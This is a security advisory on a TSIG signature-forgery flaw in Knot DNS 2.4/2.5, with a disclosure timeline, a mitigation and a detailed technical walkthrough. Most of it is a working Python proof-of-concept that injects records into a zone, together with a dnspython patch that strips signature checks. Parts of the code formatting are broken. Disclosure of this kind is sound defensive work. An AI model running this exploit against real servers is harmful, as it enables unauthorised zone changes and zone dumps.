TSIG authentication bypass through signature forgery in Knot DNS

Security advisory
06/23/17

Clément BERTHAUX
1. Vulnerability description

1.1. About Knot DNS
Knot DNS is a high-performance authoritative-only DNS server which supports all key features of the modern domain name system.

1.2. About TSIG
TSIG is an authentication protocol for DNS defined in RFC 2845 in 2000. The idea is to provide a transaction level authentication based on a message signature using a HMAC operation with a shared secret. It is primarily used to authenticate dynamic DNS update requests as well as zone transfer operations.

This protocol is widely used and supported by a vast majority of DNS server software such as BIND, PowerDNS, NSD and, of course, Knot DNS.

1.3. The issue
Synacktiv experts discovered a flaw within the TSIG protocol implementation in Knot DNS that would allow an attacker with a valid key name to bypass the TSIG authentication on zone updates, notify and transfers operations.

This issue is due to the fact that when the server receives a request which TSIG timestamp is out of the time window, it still signs its answer, using the provided digest as prefix even though this digest is invalid and has an incorrect size. This allow an attacker to forge the signature of a valid request, hence bypassing the TSIG authentication.

1.4. Affected versions
The issue was tested and proven to affect the following Knot DNS versions:

- Knot DNS 2.4.1
- Knot DNS 2.4.4
- Knot DNS 2.5.1

The vulnerability was patched in Knot DNS 2.5.2 and Knot DNS 2.4.5: https://www.knot-dns.cz/2017-06-23-version-252-and-245.html

1.5. Mitigation
Upgrade to Knot DNS 2.5.2 or Knot DNS 2.4.5.

It is also possible to mitigate this vulnerability by setting ACLs on IP addresses for TSIG protected operations and by using hard to guess TSIG key names but keep in mind that this mitigation doesn’t provide any protection against a MITM adversary.
## 1.6. Timeline

<table>
<thead>
<tr>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/19/17</td>
<td>Advisory sent to the Knot DNS security team</td>
</tr>
<tr>
<td>06/23/17</td>
<td>Knot DNS fixed the vulnerability in Knot DNS 2.5.2 and Knot DNS 2.4.5.</td>
</tr>
</tbody>
</table>
2. Technical description and proof-of-concept

2.1. Attack scenario
This vulnerability can be exploited by an attacker to update a DNS zone or dump its content provided that:

- The attacker can guess a valid TSIG key name and the associated algorithm
- No additional network ACL is configured regarding the desired operation

As such, configurations like the following one are affected:

```plaintext
key:
  - id: tsig_key
    algorithm: hmac-sha256
    secret: YmxhYmxhbXlzZWNyZXRrZXk=

acl:
  - id: key_rule
    key: tsig_key
    action: [transfer, notify, update]

zone:
  - domain: example.com
    storage: /var/lib/knot/zones/
    file: example.com.zone
    acl: key_rule
    [...]
```

2.2. Vulnerability discovery
According to the RFC 2845 on TSIG section 4.2, DNS servers answers to TSIG-signed requests have to be signed and the digest components need to be the following:

- Request MAC size on 2 bytes
- Request MAC
- DNS Message (response)
- TSIG Variables (response)

Note that RFC 2845 is, by itself, not conform to cryptography best practices in particular to the rule “one key per use”. The client and the server should use different keys, for example by using a derivation function like TLS does.

When processing a TSIG-signed query with a timestamp that doesn’t belong to the valid time window (server time +/- fudge value), Knot DNS returns a BADTIME TSIG error. This answer is signed.
However, in this case, the digest size and the digest itself are never checked before being reused to compute the answer digest.

This can be confirmed dynamically with a Python script using a patched version of `dnspython` (the patch can be found in appendix):

```python
import dns.query
import dns.tsigkeyring
import dns.tsig
import dns.message

keyring = dns.tsigkeyring.from_text(
    {'tsig_key': 'whatever_wrong_key'.encode('base64')}
)

r = dns.message.make_query('example.com.', dns.rdatatype.AXFR)
r.use_tsig(keyring, keyname='tsig_key', algorithm=dns.tsig.HMAC_SHA256)

# wrong timestamp
r.time_func = lambda: 0xdeadbeef

# larger digest
r.request_hmac = 'A'*0x100
```
Upon execution of this script, with a hook on `dnssec_tsig_add` from `src/dnssec/lib/tsig.c`, to dump the data used to compute the answer digest, the following log entry is recorded:

```
* dnssec_tsig_add called, data is:
  0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 01 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ..AAAAA
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
000000a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
000000b0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
000000c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
000000d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
000000e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAA
00000100 41 41 ce ef 81 09 00 01 00 00 00 00 00 00 07 65 AA.........e
00000110 78 61 6d 70 6c 65 03 63 6f 6d 00 00 00 01 08 xample.com......
00000120 74 73 69 67 5f 6b 65 79 00 00 00 00 00 00 00 tsig_key........
00000130 68 6d 61 63 2d 73 68 61 32 35 36 00 00 00 de ad hmac-sha256......
00000140 be ef 01 2c 00 12 00 06 00 00 59 2d 8d f0 ...........Y-...
```

At this point, it is possible to generate a valid digest for a message with an arbitrary prefix, provided that the TSIG key name and algorithm are known.

The idea is then to use this to forge the digest of a valid request and replay it with the returned digest.
2.3. Exploitation

To exploit this vulnerability, one first needs to generate a trigger request. This request will be signed using TSIG and have a corrupted digest as well as a timestamp ahead-of-time. This can be done using the Python package `dnspython` with a patch to be able to alter the digest (the patch can be found in appendix):

```
# create the trigger request
trigger = dns.update.Update(zone)

# enable tsig with a valid keyname
trigger.use_tsig(keyring, keyname=keyname, algorithm=dns.tsig.HMAC_SHA256)

# alter the digest
trigger.request_hmac = '\x00'*0x40

ts = time()

# alter the timestamp to trigger the BADTIME TSIG error (fudge = 300 by default)
trigger.time_func = lambda: ts+301

dns.query.udp(trigger, '172.17.0.30')
```
When such a request is sent, the generated packet looks like the following:

```
+ Domain Name System (query)
  [Response ID: 12918]
  Transaction ID: 0x0b88
  Flags: 0x0b80 Dynamic update response, Not authoritative
  Zones: 1
  Prerequisites: 0
  Updates: 0
  Additional Flags: 1
  + Zone
    - example.com: type SOA, class IN
      Name: example.com
      [Name Length: 11]
      [Label Count: 2]
      Type: SOA (Start Of a zone of Authority) [6]
      Class: IN (0x0001)
  + Additional records
    - tsig_key: type TSIG, class ANY
      Name: tsig_key
      Type: TSIG (Transaction Signature) [250]
      Class: ANY (0x0001)
      Time to live: 0
      Data Length: 80
      Algorithm Name: hmac-sha256
      [Expert Info [Warn/Invalid]: Trying to fetch an absolute time value with length 6]
      Time Signed: Jan 1, 1970 07:12:49.000000000 CET
      Fudge: 0
      MAC Size: 64
      MAC
      [Expert Info [Warn/Undecoded]: No dissector for algorithm: hmac-sha256]
      Original Id: 23480
      Error: No error (6)
      Other Len: 0
```

The answer returned by Knot DNS looks like the following:

```
+ Domain Name System (response)
  [Request ID: 12917]
  [Time: 0.000120000 seconds]
  Transaction ID: 0x0b88
  Flags: 0x0b80 Dynamic update response, Not authoritative
  Zones: 1
  Prerequisites: 0
  Updates: 0
  Additional Flags: 1
  + Zone
    - example.com: type SOA, class IN
      Name: example.com
      [Name Length: 11]
      [Label Count: 2]
      Type: SOA (Start Of a zone of Authority) [6]
      Class: IN (0x0001)
  + Additional records
    - tsig_key: type TSIG, class ANY
      Name: tsig_key
      Type: TSIG (Transaction Signature) [250]
      Class: ANY (0x0001)
      Time to live: 0
      Data Length: 67
      Algorithm Name: hmac-sha256
      [Expert Info [Warn/Invalid]: Trying to fetch an absolute time value with length 6]
      Time Signed: Jan 1, 1970 07:12:49.000000000 CET
      Fudge: 0
      MAC Size: 32
      MAC
      [Expert Info [Warn/Undecoded]: No dissector for algorithm: hmac-sha256]
      Original Id: 23480
      Error: Signature out of time window (18)
      Other Len: 6
      Other Data: 00059412dead
```
According to the RFC 2845, the components used to compute the answer TSIG digest are the following:

- the request digest, prefixed by its size as a 16 bit unsigned integer:

```
00000000 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.@..............|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 00 |..|
```

- the answer data without the TSIG record

```
Transaction ID: 0x5bb8
Flags: 0xa809 Dynamic update response, Not authoritative
Zones: 1
Prerequisites: 0
Updates: 0
Additional RRs: 1
```
```
Zone
  example.com: type SOA, class IN
  Name: example.com
  [Name Length: 11]
  [Label Count: 2]
  Type: SOA [Start Of a zone of Authority] (6)
  Class: IN [0x0001]
```
```
00000000 5b b8 a8 01 00 01 00 00 00 00 00 01 07 65 78 61 |[.........exa|
00000010 6d 70 6c 65 03 63 6f 6d 00 00 06 00 01 |mple.com.....|
```

- the TSIG record without its digest and digest size attributes (but with the error and other data attributes)

```
00000000 08 74 73 69 67 5f 6b 65 79 00 00 fa 00 ff 00 00 |.tsig_key.......|
00000010 00 00 00 43 0b 68 6d 61 63 2d 73 68 61 32 35 36 |...hmac-sha256|
00000020 00 00 00 59 41 30 1a 01 2c 5b b8 00 12 00 06 00 |...YA0..,[......|
00000030 00 59 41 2e ed 0a |.YA...|
```

Let’s take the example of a DNS update TSIG bypass, we need to forge a valid update with a padding record to “absorb” the answer data mentioned above (which is part of the digest components which means the signature won’t match if we don’t include it).

This can be done with **dnspython** using the following snippet:

```
def get_update(zone, size_to_absorb):
    req = dns.update.Update(zone, size_to_absorb)
    req.add('i.can.inject.records.in.the.zone', 3600, 'txt', 'injected')
```
In our trigger request, we replace the digest with the data that represents the freshly forged request, stripping the padding record content to absorb the size_to_replace bytes that will be appended during the answer signature. This size only depends on the zone name and can be computed as follow:

```python
# size of the answer data to absorb
sz = 12 + sum(len(e)+1 for e in (zone).split('.')) + 1 + 4

# create the forged request
forged = get_update(zone, sz, ts)

# get forged data and strip the transaction ID and the last sz bytes of padding data
forged_data = forged.to_wire()
forged_data = forged_data[2:-sz]

# set trigger hmac to forged request
trigger.request_hmac = forged_data
trigger.time_func = lambda: ts

print '[+] sending trigger request'
# udp works too
ans = dns.query.tcp(trigger, host)
```

The server answers the trigger request with a BADTIME TSIG error and signs it. In our forged packet, we replace the padding record data with the size_to_replace first bytes of the answer. It is also needed to patch the byte that represents the answer Additional RRs count field as well as setting the TSIG error code and other data fields which are used in the digest:

```python
print '[+] signed request mac is %s' % ans.mac.encode('hex')

# patch id
forged.id = len(forged_data)
forged.use_tsig(keyring, keyname=keyname, original_id=len(forged_data),
algorithm=dns.tsig.HMAC_SHA256)

# set TSIG error because it's part of the digest
forged.tsig_error = 0x12
forged.other_data = '\x00\x00'+pack('>I', int(t))
```
```python
# keep same ts
forged.time_func = lambda: ts

# replace hmac
forged.request_hmac = ans.mac

# patch additionnal_record_count in pad data -> 0
data = ans.to_wire()[11]+'\x00'+ans.to_wire()[12:sz]
forged.authority[-1][0].strings[0] = data

p = dns.query.tcp(forged, host)
```

We finally replace the forged request digest with that of the answer, wait for the timestamp to be valid and send the update request.

In the Knot DNS logs, the zone is correctly updated:

```
2017-06-14T12:20:52 info: [example.com.] DDNS, processing 1 updates
2017-06-14T12:20:52 info: [example.com.] DDNS, update finished, serial 2017053021 -> 2017053022, 76.11 seconds
2017-06-14T12:20:52 info: [example.com.] zone file updated, serial 2017053021 -> 2017053022
```
2.4. Proof-of-Concept Exploit

The POC exploit code to bypass TSIG and perform a zone update is the following. It should be noted that it is also possible to perform zone transfer and notify operations.

As stated above, it needs a patched version of dnspython which can be found in appendix:

```python
import dns.query
import dns.zone
import dns.tsigkeyring
import dns.tsig
import dns.message
import dns.update
from time import time, sleep
from struct import pack

def get_forged(zone, sz):
    req = dns.update.Update(zone)
    req.add('i.can.inject.records.in.the.zone', 3600, 'txt', 'injected')
    req.delete('padding', 'txt')
    req.add('padding', 3600, 'txt', '\x00'*sz)
    return req

def exploit(host, zone, key_name):
    keyring = dns.tsigkeyring.from_text({
        key_name : 'whateverwrongkey'.encode('base64')
    })
    origin = dns.name.from_text(zone)

    sz = 12+sum(len(e)+1 for e in (zone).split('.')) + 4
    fudge = 300

    forged = get_forged(zone, sz)

    # get forged data and strip the last sz bytes of padding data
    forged_data = forged.to_wire()
    forged_data = forged_data[2:-sz]

    forged.id = len(forged_data)

    print '[+] generated forged request'
```
# For some reasons triggering a TSIG BADTIME error doesn't seem to be logged by Knot

```
trigger = dns.message.make_query(zone, dns.rdatatype.A)

trigger.use_tsig(keyring, keyname=key_name, algorithm=dns.tsig.HMAC_SHA256)

t = time()
ts = time()+fudge+1

# set timestamp out of valid time window
trigger.time_func = lambda:ts

# alter trigger digest
trigger.request_hmac = forged_data

print ' [+ ] sending trigger with forged digest'

ans = dns.query.tcp(trigger, host, origin=origin)

if not ans.mac:
    print ' [- ] couldn't get mac from answer, probably got TSIG_BAD_KEY but dnspython is too bad to populate the tsig_error attribute'
    return

# add TSIG record
forged.use_tsig(keyring, keyname=key_name, original_id=forged.id, algorithm=dns.tsig.HMAC_SHA256)

# use the same ts which should now be valid
forged.time_func = lambda: ts

# replace digest
forged.request_hmac = ans.mac

# set TSIG error because it's part of the digest
forged.tsig_error = 0x12
forged.other_data = '\x00\x00'+pack('>I', int(t))

print ' [+ ] signed request mac is %s' % ans.mac.encode('hex')

forged.id = len(trigger.request_hmac)

print ' [+ ] waiting for signature validity'
```
sleep(2)

# patch additional_record_count in padding data
data = ans.to_wire()[11:][:11]+\'\x00\'+ans.to_wire()[12:sz]

forged.authority[-1][0].strings[0] = data

print '[+] sending forged update'
p = dns.query.udp(forged, host)
if p.rcode():
    print '[-] update failed, got errcode %d' % p.rcode()
    return

print '[+] zone updated !'

if __name__ == '__main__':
    from argparse import ArgumentParser

    p = ArgumentParser()
p.add_argument('host')
p.add_argument('zone')
p.add_argument('keyname')

    o = p.parse_args()

    exploit(o.host, o.zone, o.keyname)
Appendix: *dnspython* patch to alter TSIG attributes

```diff
diff dns/message.py /usr/lib/python2.7/dist-packages/dns/message.py
423c423<br>    self.keyalgorithm, time_func=self.time_func if hasattr(self, 'time_func') else None, request_hmac=self.request_hmac if hasattr(self, 'request_hmac') else '')
---
>    self.keyalgorithm)

diff dns/query.py /usr/lib/python2.7/dist-packages/dns/query.py
273c273<br>    one_rr_per_rrset=False, origin=None):
---
>    one_rr_per_rrset=False):
299c299<br>    wire = q.to_wire(origin=origin)
---
>    wire = q.to_wire()

diff dns/renderer.py /usr/lib/python2.7/dist-packages/dns/renderer.py
26d25<br>    <
32d30<br>    <
255c253<br>    <    request_mac, algorithm=dns.tsig.default_algorithm, time_func=None, request_hmac=''):  
---
>    request_mac, algorithm=dns.tsig.default_algorithm):
280d277<br>    <
282,293c279,287<br>    <
      keyname,
      secret,
      int(time_func() if time_func  
else time.time()),
      fudge,
      id,
      tsig_error,
      other_data,
      request_mac,
      algorithm=algorithm,
```
<  hmac_value=request_hmac
<  
<  ---
>  keyname,
>  secret,
>  int(time.time()),
>  fudge,
>  id,
>  tsig_error,
>  other_data,
>  request_mac,
>  algorithm=algorithm)

diff dns/tsig.py /usr/lib/python2.7/dist-packages/dns/tsig.py
73c73
<   algorithm=default_algorithm, hmac_value=''): 
---
>   algorithm=default_algorithm):
110,112c110
<   mac = ctx.digest() if not hmac_value else hmac_value
<   
---
>   mac = ctx.digest()
161,171c159,169
<     # if error != 0:
<     #     if error == BADSIG:
<     #         raise PeerBadSignature
<     #     elif error == BADKEY:
<     #         raise PeerBadKey
<     #     elif error == BADTIME:
<     #         raise PeerBadTime
<     #     elif error == BADTRUNC:
<     #         raise PeerBadTruncation
<     #     else:
<     #         raise PeerError('unknown TSIG error code %d' % error)
---
>     if error != 0:
>         if error == BADSIG:
>             raise PeerBadSignature
>         elif error == BADKEY:
>             raise PeerBadKey
>         elif error == BADTIME:
>             raise PeerBadTime
elif error == BADTRUNC:
    raise PeerBadTruncation
else:
    raise PeerError('unknown TSIG error code %d' % error)

if now < time_low or now > time_high:
    raise BadTime

if (our_mac != mac):
    raise BadSignature